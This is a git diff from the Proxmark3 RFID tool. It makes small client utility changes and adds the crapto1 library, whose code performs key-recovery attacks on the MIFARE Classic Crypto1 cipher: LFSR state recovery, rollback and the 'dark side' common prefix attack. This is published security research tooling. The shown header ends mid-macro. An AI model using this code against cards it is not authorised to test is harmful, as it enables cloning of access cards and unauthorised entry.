 #include "proxusb.h"
 #include "cmdmain.h"
index ba230e3316fa70a35f0d7bc5cbd8a129c4422927..5902cb89923f980a0318b4819aac17ec4831b40c 100644 (file)
@@ -12,7 +12,6 @@
 #include <stdarg.h>
 #include <stdlib.h>
 #include <stdio.h>
-#include <time.h>
 #include <readline/readline.h>
 #include <pthread.h>
 
@@ -34,7 +33,7 @@ void PrintAndLog(char *fmt, ...)
        static FILE *logfile = NULL;
        static int logging=1;
 
-       // lock this section to avoid interlacing prints from different threats
+       // lock this section to avoid interlacing prints from different threads
        pthread_mutex_lock(&print_lock);
   
        if (logging && !logfile) {
index e80f5cc9d59efeb7fe1cabee909db4bcb49ed1d5..7c70d55d5c98bb16d7b6472da681611e4e290d97 100644 (file)
@@ -8,15 +8,26 @@
 // utilities
 //-----------------------------------------------------------------------------
 
-#include <ctype.h>
+#if !defined(_WIN32)
+#define _POSIX_C_SOURCE        199309L                 // need nanosleep()
+#endif
+
 #include "util.h"
+
+#include <stdint.h>
+#include <string.h>
+#include <ctype.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <time.h>
+#include "data.h"
+
 #define MAX_BIN_BREAK_LENGTH   (3072+384+1)
 
 #ifndef _WIN32
 #include <termios.h>
 #include <sys/ioctl.h> 
 
-
 int ukbhit(void)
 {
   int cnt = 0;
@@ -42,6 +53,7 @@ int ukbhit(void)
 }
 
 #else
+
 #include <conio.h>
 int ukbhit(void) {
        return kbhit();
@@ -245,6 +257,15 @@ void num_to_bytebitsLSBF(uint64_t n, size_t len, uint8_t *dest) {
        }
 }
 
+// Swap bit order on a uint32_t value.  Can be limited by nrbits just use say 8bits reversal
+// And clears the rest of the bits.
+uint32_t SwapBits(uint32_t value, int nrbits) {
+       uint32_t newvalue = 0;
+       for(int i = 0; i < nrbits; i++) {
+               newvalue ^= ((value >> i) & 1) << (nrbits - 1 - i);
+       }
+       return newvalue;
+}
 
 // aa,bb,cc,dd,ee,ff,gg,hh, ii,jj,kk,ll,mm,nn,oo,pp
 // to
@@ -591,3 +612,38 @@ void clean_ascii(unsigned char *buf, size_t len) {
       buf[i] = '.';
   }
 }
+
+
+// Timer functions
+#if !defined (_WIN32)
+#include <errno.h>
+
+static void nsleep(uint64_t n) {
+  struct timespec timeout;
+  timeout.tv_sec = n/1000000000;
+  timeout.tv_nsec = n%1000000000;
+  while (nanosleep(&timeout, &timeout) && errno == EINTR);
+}
+
+void msleep(uint32_t n) {
+       nsleep(1000000 * n);
+}
+
+#endif // _WIN32
+
+// a milliseconds timer for performance measurement
+uint64_t msclock() {
+#if defined(_WIN32)
+#include <sys/types.h>
+       struct _timeb t;
+       if (_ftime_s(&t)) {
+               return 0;
+       } else {
+               return 1000 * t.time + t.millitm;
+       }
+#else
+       struct timespec t;
+       clock_gettime(CLOCK_MONOTONIC, &t);
+       return (t.tv_sec * 1000 + t.tv_nsec / 1000000);
+#endif
+}
index 7d9943f0616aa333ff0810ed0666219a74a1c710..27f9348e64132089f096a36606f8de9416e5359d 100644 (file)
@@ -8,13 +8,11 @@
 // utilities
 //-----------------------------------------------------------------------------
 
-#include <stdio.h>
-#include <stdint.h>  //included in data.h
-#include <stdlib.h>
-#include <string.h>
-#include <ctype.h>
-#include <time.h>    //time, gmtime
-#include "data.h"    //for FILE_PATH_SIZE
+#ifndef UTIL_H__
+#define UTIL_H__
+
+#include <stdint.h>
+#include <stddef.h>
 
 #ifndef ROTR
 # define ROTR(x,n) (((uintmax_t)(x) >> (n)) | ((uintmax_t)(x) << ((sizeof(x) * 8) - (n))))
 #ifndef MAX
 # define MAX(a, b) (((a) > (b)) ? (a) : (b))
 #endif
+
 #define EVEN                        0
 #define ODD                         1
 
-int ukbhit(void);
+extern int ukbhit(void);
+
+extern void AddLogLine(char *fileName, char *extData, char *c);
+extern void AddLogHex(char *fileName, char *extData, const uint8_t * data, const size_t len);
+extern void AddLogUint64(char *fileName, char *extData, const uint64_t data);
+extern void AddLogCurrentDT(char *fileName);
+extern void FillFileNameByUID(char *fileName, uint8_t * uid, char *ext, int byteCount);
+
+extern void print_hex(const uint8_t * data, const size_t len);
+extern char *sprint_hex(const uint8_t * data, const size_t len);
+extern char *sprint_bin(const uint8_t * data, const size_t len);
+extern char *sprint_bin_break(const uint8_t *data, const size_t len, const uint8_t breaks);
+extern char *sprint_hex_ascii(const uint8_t *data, const size_t len);
+extern char *sprint_ascii(const uint8_t *data, const size_t len);
+
+extern void num_to_bytes(uint64_t n, size_t len, uint8_t* dest);
+extern uint64_t bytes_to_num(uint8_t* src, size_t len);
+extern void num_to_bytebits(uint64_t   n, size_t len, uint8_t *dest);
+extern void num_to_bytebitsLSBF(uint64_t n, size_t len, uint8_t *dest);
+extern char *printBits(size_t const size, void const * const ptr);
+extern uint32_t SwapBits(uint32_t value, int nrbits);
+extern uint8_t *SwapEndian64(const uint8_t *src, const size_t len, const uint8_t blockSize);
+extern void SwapEndian64ex(const uint8_t *src, const size_t len, const uint8_t blockSize, uint8_t *dest);
 
-void AddLogLine(char *fileName, char *extData, char *c);
-void AddLogHex(char *fileName, char *extData, const uint8_t * data, const size_t len);
-void AddLogUint64(char *fileName, char *extData, const uint64_t data);
-void AddLogCurrentDT(char *fileName);
-void FillFileNameByUID(char *fileName, uint8_t * uid, char *ext, int byteCount);
+extern char param_getchar(const char *line, int paramnum);
+extern int param_getptr(const char *line, int *bg, int *en, int paramnum);
+extern uint8_t param_get8(const char *line, int paramnum);
+extern uint8_t param_get8ex(const char *line, int paramnum, int deflt, int base);
+extern uint32_t param_get32ex(const char *line, int paramnum, int deflt, int base);
+extern uint64_t param_get64ex(const char *line, int paramnum, int deflt, int base);
+extern uint8_t param_getdec(const char *line, int paramnum, uint8_t *destination);
+extern uint8_t param_isdec(const char *line, int paramnum);
+extern int param_gethex(const char *line, int paramnum, uint8_t * data, int hexcnt);
+extern int param_gethex_ex(const char *line, int paramnum, uint8_t * data, int *hexcnt);
+extern int param_getstr(const char *line, int paramnum, char * str);
 
-void print_hex(const uint8_t * data, const size_t len);
-char * sprint_hex(const uint8_t * data, const size_t len);
-char * sprint_bin(const uint8_t * data, const size_t len);
-char * sprint_bin_break(const uint8_t *data, const size_t len, const uint8_t breaks);
-char * sprint_hex_ascii(const uint8_t *data, const size_t len);
-char * sprint_ascii(const uint8_t *data, const size_t len);
+extern int hextobinarray( char *target,  char *source);
+extern int hextobinstring( char *target,  char *source);
+extern int binarraytohex( char *target,  char *source,  int length);
+extern void binarraytobinstring(char *target,  char *source,  int length);
+extern uint8_t GetParity( uint8_t *string, uint8_t type,  int length);
+extern void wiegand_add_parity(uint8_t *target, uint8_t *source, uint8_t length);
 
-void num_to_bytes(uint64_t n, size_t len, uint8_t* dest);
-uint64_t bytes_to_num(uint8_t* src, size_t len);
-void num_to_bytebits(uint64_t  n, size_t len, uint8_t *dest);
-void num_to_bytebitsLSBF(uint64_t n, size_t len, uint8_t *dest);
-char * printBits(size_t const size, void const * const ptr);
-uint8_t *SwapEndian64(const uint8_t *src, const size_t len, const uint8_t blockSize);
-void SwapEndian64ex(const uint8_t *src, const size_t len, const uint8_t blockSize, uint8_t *dest);
+extern void xor(unsigned char *dst, unsigned char *src, size_t len);
+extern int32_t le24toh(uint8_t data[3]);
+extern uint32_t le32toh (uint8_t *data);
+extern void rol(uint8_t *data, const size_t len);
 
-char param_getchar(const char *line, int paramnum);
-int param_getptr(const char *line, int *bg, int *en, int paramnum);
-uint8_t param_get8(const char *line, int paramnum);
-uint8_t param_get8ex(const char *line, int paramnum, int deflt, int base);
-uint32_t param_get32ex(const char *line, int paramnum, int deflt, int base);
-uint64_t param_get64ex(const char *line, int paramnum, int deflt, int base);
-uint8_t param_getdec(const char *line, int paramnum, uint8_t *destination);
-uint8_t param_isdec(const char *line, int paramnum);
-int param_gethex(const char *line, int paramnum, uint8_t * data, int hexcnt);
-int param_gethex_ex(const char *line, int paramnum, uint8_t * data, int *hexcnt);
-int param_getstr(const char *line, int paramnum, char * str);
+extern void clean_ascii(unsigned char *buf, size_t len);
 
- int hextobinarray( char *target,  char *source);
- int hextobinstring( char *target,  char *source);
- int binarraytohex( char *target,  char *source,  int length);
-void binarraytobinstring(char *target,  char *source,  int length);
-uint8_t GetParity( uint8_t *string, uint8_t type,  int length);
-void wiegand_add_parity(uint8_t *target, uint8_t *source, uint8_t length);
+// timer functions/macros
+#ifdef _WIN32
+# include <windows.h>
+# define sleep(n) Sleep(1000 *(n))
+# define msleep(n) Sleep((n))
+#else
+extern void msleep(uint32_t n);                // sleep n milliseconds
+#endif // _WIN32
 
-void xor(unsigned char *dst, unsigned char *src, size_t len);
-int32_t le24toh(uint8_t data[3]);
-uint32_t le32toh (uint8_t *data);
-void rol(uint8_t *data, const size_t len);
+extern uint64_t msclock();                     // a milliseconds clock
 
-void clean_ascii(unsigned char *buf, size_t len);
+#endif // UTIL_H__
index 7c94e041cee0551313f7494d74dc5e1752089d17..53d2a83452bf343d5d19072d8441801c5a367985 100644 (file)
@@ -63,7 +63,7 @@ endif
 
 
 # Also search prerequisites in the common directory (for usb.c), the fpga directory (for fpga.bit), and the zlib directory
-VPATH = . ../common ../fpga ../zlib
+VPATH = . ../common ../common/crapto1 ../fpga ../zlib
 
 INCLUDES = ../include/proxmark3.h ../include/at91sam7s512.h ../include/config_gpio.h ../include/usb_cmd.h $(APP_INCLUDES)
 
diff --git a/common/crapto1/crapto1.c b/common/crapto1/crapto1.c
new file mode 100644 (file)
index 0000000..0135173
--- /dev/null
@@ -0,0 +1,532 @@
+/*  crapto1.c
+
+       This program is free software; you can redistribute it and/or
+       modify it under the terms of the GNU General Public License
+       as published by the Free Software Foundation; either version 2
+       of the License, or (at your option) any later version.
+
+       This program is distributed in the hope that it will be useful,
+       but WITHOUT ANY WARRANTY; without even the implied warranty of
+       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+       GNU General Public License for more details.
+
+       You should have received a copy of the GNU General Public License
+       along with this program; if not, write to the Free Software
+       Foundation, Inc., 51 Franklin Street, Fifth Floor,
+       Boston, MA  02110-1301, US$
+
+    Copyright (C) 2008-2014 bla <blapost@gmail.com>
+*/
+#include "crapto1.h"
+#include <stdlib.h>
+
+#if !defined LOWMEM && defined __GNUC__
+static uint8_t filterlut[1 << 20];
+static void __attribute__((constructor)) fill_lut()
+{
+               uint32_t i;
+               for(i = 0; i < 1 << 20; ++i)
+                               filterlut[i] = filter(i);
+}
+#define filter(x) (filterlut[(x) & 0xfffff])
+#endif
+
+
+
+typedef struct bucket {
+       uint32_t *head;
+       uint32_t *bp;
+} bucket_t;
+
+typedef bucket_t bucket_array_t[2][0x100];
+
+typedef struct bucket_info {
+       struct {
+               uint32_t *head, *tail;
+               } bucket_info[2][0x100];
+               uint32_t numbuckets;
+       } bucket_info_t;
+
+
+static void bucket_sort_intersect(uint32_t* const estart, uint32_t* const estop,
+                                                                 uint32_t* const ostart, uint32_t* const ostop,
+                                                                 bucket_info_t *bucket_info, bucket_array_t bucket)
+{
+       uint32_t *p1, *p2;
+       uint32_t *start[2];
+       uint32_t *stop[2];
+
+       start[0] = estart;
+       stop[0] = estop;
+       start[1] = ostart;
+       stop[1] = ostop;
+
+       // init buckets to be empty
+       for (uint32_t i = 0; i < 2; i++) {
+               for (uint32_t j = 0x00; j <= 0xff; j++) {
+                       bucket[i][j].bp = bucket[i][j].head;
+               }
+       }
+
+       // sort the lists into the buckets based on the MSB (contribution bits)
+       for (uint32_t i = 0; i < 2; i++) {
+               for (p1 = start[i]; p1 <= stop[i]; p1++) {
+                       uint32_t bucket_index = (*p1 & 0xff000000) >> 24;
+                       *(bucket[i][bucket_index].bp++) = *p1;
+               }
+       }
+
+
+       // write back intersecting buckets as sorted list.
+       // fill in bucket_info with head and tail of the bucket contents in the list and number of non-empty buckets.
+       uint32_t nonempty_bucket;
+       for (uint32_t i = 0; i < 2; i++) {
+               p1 = start[i];
+               nonempty_bucket = 0;
+               for (uint32_t j = 0x00; j <= 0xff; j++) {
+                       if (bucket[0][j].bp != bucket[0][j].head && bucket[1][j].bp != bucket[1][j].head) { // non-empty intersecting buckets only
+                               bucket_info->bucket_info[i][nonempty_bucket].head = p1;
+                               for (p2 = bucket[i][j].head; p2 < bucket[i][j].bp; *p1++ = *p2++);
+                               bucket_info->bucket_info[i][nonempty_bucket].tail = p1 - 1;
+                               nonempty_bucket++;
+                       }
+               }
+               bucket_info->numbuckets = nonempty_bucket;
+               }
+}
+/** binsearch
+ * Binary search for the first occurence of *stop's MSB in sorted [start,stop]
+ */
+static inline uint32_t* binsearch(uint32_t *start, uint32_t *stop)
+{
+       uint32_t mid, val = *stop & 0xff000000;
+       while(start != stop)
+               if(start[mid = (stop - start) >> 1] > val)
+                       stop = &start[mid];
+               else
+                       start += mid + 1;
+
+       return start;
+}
+
+/** update_contribution
+ * helper, calculates the partial linear feedback contributions and puts in MSB
+ */
+static inline void
+update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2)
+{
+       uint32_t p = *item >> 25;
+
+       p = p << 1 | parity(*item & mask1);
+       p = p << 1 | parity(*item & mask2);
+       *item = p << 24 | (*item & 0xffffff);
+}
+
+/** extend_table
+ * using a bit of the keystream extend the table of possible lfsr states
+ */
+static inline void
+extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in)
+{
+       in <<= 24;
+       for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)
+               if(filter(*tbl) ^ filter(*tbl | 1)) {
+                       *tbl |= filter(*tbl) ^ bit;
+                       update_contribution(tbl, m1, m2);
+                       *tbl ^= in;
+               } else if(filter(*tbl) == bit) {
+                       *++*end = tbl[1];
+                       tbl[1] = tbl[0] | 1;
+                       update_contribution(tbl, m1, m2);
+                       *tbl++ ^= in;
+                       update_contribution(tbl, m1, m2);
+                       *tbl ^= in;
+               } else
+                       *tbl-- = *(*end)--;
+}
+/** extend_table_simple
+ * using a bit of the keystream extend the table of possible lfsr states
+ */
+static inline void extend_table_simple(uint32_t *tbl, uint32_t **end, int bit)
+{
+       for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)
+               if(filter(*tbl) ^ filter(*tbl | 1))
+                       *tbl |= filter(*tbl) ^ bit;
+               else if(filter(*tbl) == bit) {
+                       *++*end = *++tbl;
+                       *tbl = tbl[-1] | 1;
+
+               } else
+                       *tbl-- = *(*end)--;
+}
+
+
+/** recover
+ * recursively narrow down the search space, 4 bits of keystream at a time
+ */
+static struct Crypto1State*
+recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks,
+       uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem,
+       struct Crypto1State *sl, uint32_t in, bucket_array_t bucket)
+{
+       uint32_t *o, *e, i;
+       bucket_info_t bucket_info;
+
+       if(rem == -1) {
+               for(e = e_head; e <= e_tail; ++e) {
+                       *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4);
+                       for(o = o_head; o <= o_tail; ++o, ++sl) {
+                               sl->even = *o;
+                               sl->odd = *e ^ parity(*o & LF_POLY_ODD);
+                               sl[1].odd = sl[1].even = 0;
+                       }
+               }
+               return sl;
+       }
+
+       for(i = 0; i < 4 && rem--; i++) {
+               oks >>= 1;
+               eks >>= 1;
+               in >>= 2;
+               extend_table(o_head, &o_tail, oks & 1, LF_POLY_EVEN << 1 | 1,
+                            LF_POLY_ODD << 1, 0);
+               if(o_head > o_tail)
+                       return sl;
+
+               extend_table(e_head, &e_tail, eks & 1, LF_POLY_ODD,
+                            LF_POLY_EVEN << 1 | 1, in & 3);
+               if(e_head > e_tail)
+                       return sl;
+       }
+       bucket_sort_intersect(e_head, e_tail, o_head, o_tail, &bucket_info, bucket);
+
+       for (int i = bucket_info.numbuckets - 1; i >= 0; i--) {
+               sl = recover(bucket_info.bucket_info[1][i].head, bucket_info.bucket_info[1][i].tail, oks,
+                                        bucket_info.bucket_info[0][i].head, bucket_info.bucket_info[0][i].tail, eks,
+                                        rem, sl, in, bucket);
+       }
+
+       return sl;
+}
+/** lfsr_recovery
+ * recover the state of the lfsr given 32 bits of the keystream
+ * additionally you can use the in parameter to specify the value
+ * that was fed into the lfsr at the time the keystream was generated
+ */
+struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in)
+{
+       struct Crypto1State *statelist;
+       uint32_t *odd_head = 0, *odd_tail = 0, oks = 0;
+       uint32_t *even_head = 0, *even_tail = 0, eks = 0;
+       int i;
+
+       for(i = 31; i >= 0; i -= 2)
+               oks = oks << 1 | BEBIT(ks2, i);
+       for(i = 30; i >= 0; i -= 2)
+               eks = eks << 1 | BEBIT(ks2, i);
+
+       odd_head = odd_tail = malloc(sizeof(uint32_t) << 21);
+       even_head = even_tail = malloc(sizeof(uint32_t) << 21);
+       statelist =  malloc(sizeof(struct Crypto1State) << 18);
+       if(!odd_tail-- || !even_tail-- || !statelist) {
+               free(statelist);
+               statelist = 0;
+               goto out;
+       }
+       statelist->odd = statelist->even = 0;
+
+       // allocate memory for out of place bucket_sort
+       bucket_array_t bucket;
+       for (uint32_t i = 0; i < 2; i++)
+               for (uint32_t j = 0; j <= 0xff; j++) {
+                       bucket[i][j].head = malloc(sizeof(uint32_t)<<14);
+                       if (!bucket[i][j].head) {
+                               goto out;
+                       }
+               }
+
+
+       for(i = 1 << 20; i >= 0; --i) {
+               if(filter(i) == (oks & 1))
+                       *++odd_tail = i;
+               if(filter(i) == (eks & 1))
+                       *++even_tail = i;
+       }
+
+       for(i = 0; i < 4; i++) {
+               extend_table_simple(odd_head,  &odd_tail, (oks >>= 1) & 1);
+               extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1);
+       }
+
+       in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00);
+       recover(odd_head, odd_tail, oks,
+               even_head, even_tail, eks, 11, statelist, in << 1, bucket);
+
+out:
+       free(odd_head);
+       free(even_head);
+       for (uint32_t i = 0; i < 2; i++)
+               for (uint32_t j = 0; j <= 0xff; j++)
+                       free(bucket[i][j].head);
+
+       return statelist;
+}
+
+static const uint32_t S1[] = {     0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214,
+       0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83,
+       0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA};
+static const uint32_t S2[] = {  0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60,
+       0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8,
+       0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20,
+       0x7EC7EE90, 0x7F63F748, 0x79117020};
+static const uint32_t T1[] = {
+       0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66,
+       0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B,
+       0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615,
+       0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C};
+static const uint32_t T2[] = {  0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0,
+       0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268,
+       0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0,
+       0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0,
+       0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950,
+       0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0};
+static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD};
+static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0};
+/** Reverse 64 bits of keystream into possible cipher states
+ * Variation mentioned in the paper. Somewhat optimized version
+ */
+struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3)
+{
+       struct Crypto1State *statelist, *sl;
+       uint8_t oks[32], eks[32], hi[32];
+       uint32_t low = 0,  win = 0;
+       uint32_t *tail, table[1 << 16];
+       int i, j;
+
+       sl = statelist = malloc(sizeof(struct Crypto1State) << 4);
+       if(!sl)
+               return 0;
+       sl->odd = sl->even = 0;
+
+       for(i = 30; i >= 0; i -= 2) {
+               oks[i >> 1] = BEBIT(ks2, i);
+               oks[16 + (i >> 1)] = BEBIT(ks3, i);
+       }
+       for(i = 31; i >= 0; i -= 2) {
+               eks[i >> 1] = BEBIT(ks2, i);
+               eks[16 + (i >> 1)] = BEBIT(ks3, i);
+       }
+
+       for(i = 0xfffff; i >= 0; --i) {
+               if (filter(i) != oks[0])
+                       continue;
+
+               *(tail = table) = i;
+               for(j = 1; tail >= table && j < 29; ++j)
+                       extend_table_simple(table, &tail, oks[j]);
+
+               if(tail < table)
+                       continue;
+
+               for(j = 0; j < 19; ++j)
+                       low = low << 1 | parity(i & S1[j]);
+               for(j = 0; j < 32; ++j)
+                       hi[j] = parity(i & T1[j]);
+
+               for(; tail >= table; --tail) {
+                       for(j = 0; j < 3; ++j) {
+                               *tail = *tail << 1;
+                               *tail |= parity((i & C1[j]) ^ (*tail & C2[j]));
+                               if(filter(*tail) != oks[29 + j])
+                                       goto continue2;
+                       }
+
+                       for(j = 0; j < 19; ++j)
+                               win = win << 1 | parity(*tail & S2[j]);
+
+                       win ^= low;
+                       for(j = 0; j < 32; ++j) {
+                               win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]);
+                               if(filter(win) != eks[j])
+                                       goto continue2;
+                       }
+
+                       *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail);
+                       sl->odd = *tail ^ parity(LF_POLY_ODD & win);
+                       sl->even = win;
+                       ++sl;
+                       sl->odd = sl->even = 0;
+                       continue2:;
+               }
+       }
+       return statelist;
+}
+
+/** lfsr_rollback_bit
+ * Rollback the shift register in order to get previous states
+ */
+uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb)
+{
+       int out;
+       uint8_t ret;
+       uint32_t t;
+       
+       s->odd &= 0xffffff;
+       t = s->odd, s->odd = s->even, s->even = t;
+
+       out = s->even & 1;
+       out ^= LF_POLY_EVEN & (s->even >>= 1);
+       out ^= LF_POLY_ODD & s->odd;
+       out ^= !!in;
+       out ^= (ret = filter(s->odd)) & !!fb;
+
+       s->even |= parity(out) << 23;
+       return ret;
+}
+/** lfsr_rollback_byte
+ * Rollback the shift register in order to get previous states
+ */
+uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb)
+{
+       int i, ret=0;
+       for (i = 7; i >= 0; --i)
+               ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i;
+       return ret;
+}
+/** lfsr_rollback_word
+ * Rollback the shift register in order to get previous states
+ */
+uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb)
+{
+       int i;
+       uint32_t ret = 0;
+       for (i = 31; i >= 0; --i)
+               ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24);
+       return ret;
+}
+
+/** nonce_distance
+ * x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y
+ */
+static uint16_t *dist = 0;
+int nonce_distance(uint32_t from, uint32_t to)
+{
+       uint16_t x, i;
+       if(!dist) {
+               dist = malloc(2 << 16);
+               if(!dist)
+                       return -1;
+               for (x = i = 1; i; ++i) {
+                       dist[(x & 0xff) << 8 | x >> 8] = i;
+                       x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
+               }
+       }
+       return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535;
+}
+
+
+static uint32_t fastfwd[2][8] = {
+       { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB},
+       { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}};
+/** lfsr_prefix_ks
+ *
+ * Is an exported helper function from the common prefix attack
+ * Described in the "dark side" paper. It returns an -1 terminated array
+ * of possible partial(21 bit) secret state.
+ * The required keystream(ks) needs to contain the keystream that was used to
+ * encrypt the NACK which is observed when varying only the 3 last bits of Nr
+ * only correct iff [NR_3] ^ NR_3 does not depend on Nr_3
+ */
+uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd)
+{
+       uint32_t c, entry, *candidates = malloc(4 << 10);
+       int i, size = 0, good;
+       
+       if(!candidates)
+               return 0;
+
+       for(i = 0; i < 1 << 21; ++i) {
+               for(c = 0, good = 1; good && c < 8; ++c) {
+                       entry = i ^ fastfwd[isodd][c];
+                       good &= (BIT(ks[c], isodd) == filter(entry >> 1));
+                       good &= (BIT(ks[c], isodd + 2) == filter(entry));
+               }
+               if(good)
+                       candidates[size++] = i;
+       }
+       
+       candidates[size] = -1;
+
+       return candidates;
+}
+
+/** check_pfx_parity
+ * helper function which eliminates possible secret states using parity bits
+ */
+static struct Crypto1State*
+check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8],
+               uint32_t odd, uint32_t even, struct Crypto1State* sl, uint32_t no_par)
+{
+       uint32_t ks1, nr, ks2, rr, ks3, c, good = 1;
+
+       for(c = 0; good && c < 8; ++c) {
+               sl->odd = odd ^ fastfwd[1][c];
+               sl->even = even ^ fastfwd[0][c];
+
+               lfsr_rollback_bit(sl, 0, 0);
+               lfsr_rollback_bit(sl, 0, 0);
+
+               ks3 = lfsr_rollback_bit(sl, 0, 0);
+               ks2 = lfsr_rollback_word(sl, 0, 0);
+               ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1);
+
+               if (no_par)
+                       break;
+
+               nr = ks1 ^ (prefix | c << 5);
+               rr = ks2 ^ rresp;
+
+               good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24);
+               good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16);
+               good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2,  8);
+               good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2,  0);
+               good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3;
+       }
+
+       return sl + good;
+}
+
+
+/** lfsr_common_prefix
+ * Implentation of the common prefix attack.
+ */
+struct Crypto1State*
+lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8], uint32_t no_par)
+{
+       struct Crypto1State *statelist, *s;
+       uint32_t *odd, *even, *o, *e, top;
+
+       odd = lfsr_prefix_ks(ks, 1);
+       even = lfsr_prefix_ks(ks, 0);
+
+       s = statelist = malloc((sizeof *statelist) << 22); // was << 20. Need more for no_par special attack. Enough???
+       if(!s || !odd || !even) {
+               free(statelist);
+               statelist = 0;
+                goto out;
+       }
+
+       for(o = odd; *o + 1; ++o)
+               for(e = even; *e + 1; ++e)
+                       for(top = 0; top < 64; ++top) {
+                               *o += 1 << 21;
+                               *e += (!(top & 7) + 1) << 21;
+                               s = check_pfx_parity(pfx, rr, par, *o, *e, s, no_par);
+                       }
+
+       s->odd = s->even = 0;
+out:
+       free(odd);
+       free(even);
+       return statelist;
+}
diff --git a/common/crapto1/crapto1.h b/common/crapto1/crapto1.h
new file mode 100644 (file)
index 0000000..e718b1f
--- /dev/null
@@ -0,0 +1,98 @@
+/*  crapto1.h
+
+    This program is free software; you can redistribute it and/or
+    modify it under the terms of the GNU General Public License
+    as published by the Free Software Foundation; either version 2
+    of the License, or (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+    MA  02110-1301, US$
+
+    Copyright (C) 2008-2014 bla <blapost@gmail.com>
+*/
+#ifndef CRAPTO1_INCLUDED
+#define CRAPTO1_INCLUDED
+#include <stdint.h>
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+struct Crypto1State {uint32_t odd, even;};
+#if defined(__arm__)
+void crypto1_create(struct Crypto1State *s, uint64_t key);
+#else
+struct Crypto1State *crypto1_create(uint64_t key);
+#endif
+void crypto1_destroy(struct Crypto1State*);
+void crypto1_get_lfsr(struct Crypto1State*, uint64_t*);
+uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int);
+uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int);
+uint32_t crypto1_word(struct Crypto1State*, uint32_t, int);
+uint32_t prng_successor(uint32_t x, uint32_t n);
+
+struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in);
+struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3);
+uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd);
+struct Crypto1State*
+lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8], uint32_t no_par);
+
+
+uint8_t lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb);
+uint8_t lfsr_rollback_byte(struct Crypto1State* s, uint32_t in, int fb);
+uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb);
+int nonce_distance(uint32_t from, uint32_t to);
+#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\
+       uint32_t __n = 0,__M = 0, N = 0;\
+       int __i;\
